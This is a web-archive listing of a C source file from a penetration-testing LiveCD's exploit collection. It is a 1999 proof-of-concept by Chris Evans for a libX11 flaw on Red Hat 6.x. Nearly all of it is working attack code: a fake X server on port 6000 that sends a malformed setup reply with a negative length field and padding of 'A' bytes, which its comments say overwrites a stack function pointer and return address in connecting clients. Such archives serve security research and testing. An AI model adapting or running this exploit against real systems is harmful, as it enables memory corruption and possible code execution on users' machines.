home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / xwin / libX11flaw.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  5KB  |  171 lines

  1. /* Chris Evans - demo of libX11 flaw. Tricky one this. */
  2.  
  3. /*   redhat 6.2/6.1   */
  4. /* Disclaimer - I haven't bothered to beutify this. It probably is tied
  5.  * to little endian machines. Return values go unchecked, etc. ;-)
  6.  */ 
  7.   
  8. #include <unistd.h>             
  9. #include <string.h>
  10.   
  11. #include <sys/types.h>    
  12. #include <sys/socket.h>         
  13.   
  14. #include <netinet/in.h>                
  15.   
  16. int
  17. main(int argc, const char* argv[])
  18.   static int port = 6000;       
  19.   
  20.   char sendbuf[32768];          
  21.   char recvbuf[1024];      
  22.   struct sockaddr_in local_addr;
  23.   struct sockaddr_in remote_addr;
  24.   int remote_addrlen;     
  25.   int listen_fd;
  26.   int accept_fd;
  27.   char c;                 
  28.   short s;
  29.   int i;                  
  30.   unsigned int bigsend;   
  31.   
  32.   listen_fd = socket(PF_INET, SOCK_STREAM, 6);
  33.   
  34.   local_addr.sin_family = AF_INET;
  35.   local_addr.sin_addr.s_addr = INADDR_ANY;
  36.   local_addr.sin_port = htons(port);
  37.   bind(listen_fd, (struct sockaddr*)&local_addr, sizeof(local_addr));
  38.   
  39.   listen(listen_fd, 1);
  40.   
  41.   accept_fd = accept(listen_fd, (struct sockaddr*)&remote_addr,  
  42.                      &remote_addrlen);
  43.   
  44.   /* Read initial client connection packet */
  45.   read(accept_fd, recvbuf, 12); 
  46.   /* Absorb auth details */
  47.   s = * ((short*)&recvbuf[6]);
  48.   s += * ((short*)&recvbuf[8]);
  49.   read(accept_fd, recvbuf, s);
  50.   
  51.   /* Send back the nasty reply */
  52.   /* xConnSetupPrefix */
  53.   c = 1;                        /* CARD8 success: xTrue */
  54.   write(accept_fd, &c, 1);
  55.   c = 0;                        /* BYTE lengthReason: 0 */
  56.   write(accept_fd, &c, 1);
  57.   s = 11;                       /* CARD16: majorVersion: 11 */
  58.   write(accept_fd, &s, 2);
  59.   s = 0;                        /* CARD16: minorVersion: 0 (irrelevant) */
  60.   write(accept_fd, &s, 2);
  61.   s = (32 + 40) >> 2;                  /* CARD16: length (of setup packet) */
  62.   write(accept_fd, &s, 2);
  63.    
  64.   /* xConnSetup, 32 bytes */
  65.   i = 0;                        /* CARD32: release */
  66.   write(accept_fd, &i, 4);      
  67.   i = 0;                        /* CARD32: ridBase */
  68.   write(accept_fd, &i, 4);      
  69.   i = 1;                        /* CARD32: ridMask: 1. 0 causes 100% CPU */
  70.   write(accept_fd, &i, 4);
  71.   i = 0;                        /* CARD32: motionBufferSize */
  72.   write(accept_fd, &i, 4);
  73.   s = 0;                        /* CARD16: nbytesVendor */
  74.   write(accept_fd, &s, 2);
  75.   s = 0;                        /* CARD16: maxRequestSize */
  76.   write(accept_fd, &s, 2);
  77.   c = 1;                        /* CARD8: numRoots: need 1+ to work */
  78.   write(accept_fd, &c, 1);
  79.   c = 0;                        /* CARD8: numFormats */
  80.   write(accept_fd, &c, 1);
  81.   c = 0;                        /* CARD8: imageByteOrder */
  82.   write(accept_fd, &c, 1);
  83.   c = 0;                        /* CARD8: bitmapBitOrder */
  84.   write(accept_fd, &c, 1);
  85.   c = 0;                        /* CARD8: bitmapScanlineUnit */
  86.   write(accept_fd, &c, 1);
  87.   c = 0;                        /* CARD8: bit:mapScanlinePad */
  88.   write(accept_fd, &c, 1);
  89.   c = 0;                        /* KeyCode (CARD8): minKeyCode */
  90.   write(accept_fd, &c, 1);
  91.   c = 0;                        /* KeyCode (CARD8): maxKeyCode */
  92.   write(accept_fd, &c, 1);
  93.   i = 0;                        /* CARD32: pad */
  94.   write(accept_fd, &i, 4); 
  95.   
  96.   /* xWindowRoot x 1 - 40 bytes */
  97.   /* Contains a "nDepths" - no further data needed if it's set to 0 */
  98.   memset(sendbuf, '\0', 40);
  99.   write(accept_fd, sendbuf, 40); 
  100.   
  101.   /* read 64 bytes of X requests */
  102.   /* From:
  103.    * xCreateGC, 20 bytes + 4 bytes of values (i.e. 1)     
  104.    * xQueryExtention, 20 bytes - querying for big requests
  105.    * xGetProperty, 24 bytes - querying for XA_RESOURCE_MANAGER
  106.    */
  107.   read(accept_fd, recvbuf, 64); 
  108.   
  109.   /* Reply to xQueryExtension - an async reply */ 
  110.   c = 1;                        /* type (BYTE): X_Reply (1) */
  111.   write(accept_fd, &c, 1);
  112.   c = 0;                        /* varies */
  113.   write(accept_fd, &c, 1);
  114.   s = 2;                        /* sequenceNumber (CARD16): 2nd */
  115.   write(accept_fd, &s, 2);
  116.   i = -17;                      /* length (CARD32): signed games here */
  117.   write(accept_fd, &i, 4); 
  118.   i = 0x41414141;               /* pad (CARD32); 6 of them */
  119.   /* NOTE - in this program's current form, it seems to be these values
  120.    * which make their way onto the stack, overwriting a function pointer
  121.    */ 
  122.   write(accept_fd, &i, 4);
  123.   write(accept_fd, &i, 4);
  124.   write(accept_fd, &i, 4);
  125.   write(accept_fd, &i, 4);
  126.   write(accept_fd, &i, 4);
  127.   write(accept_fd, &i, 4);
  128.   
  129.   /* Now we've got to send a _lot_ of data back to the client - it's trying
  130.    * to read ~4Gb, grrr.  
  131.    */ 
  132.   
  133.   c = 0;                        
  134.   bigsend = (unsigned int)-17;
  135.   bigsend <<= 2;       
  136.   while (bigsend > 0)     
  137.   { 
  138.     unsigned int to_send = bigsend;
  139.     if (to_send > 32768)
  140.     {
  141.       to_send = 32768;          
  142.     }
  143.   
  144.     write(accept_fd, sendbuf, to_send);
  145.     bigsend -= to_send;
  146.   
  147.     if (!c)
  148.     {
  149.       printf("to_go: %u\n", bigsend);
  150.     }     
  151.     c++;
  152.   }
  153.    
  154.   /* Send another xreply - the first 28 bytes are read onto
  155.    * the stack.
  156.    */
  157.   /* NOTE - in its current form, these A's make their way to some unspecified
  158.    * area of stack. In testing I've easily clobbered a return address with
  159.    * these
  160.    */ 
  161.   memset(sendbuf, 'A', 28);
  162.   write(accept_fd, sendbuf, 28);
  163.   
  164.   memset(sendbuf, '\0', 32);    
  165.   /* First char of buffer, 0, represents X_Error */
  166.   write(accept_fd, sendbuf, 32);
  167.   
  168.   while(1);
  169. }     
  170. /*                   www.hack.co.za              [1999]*/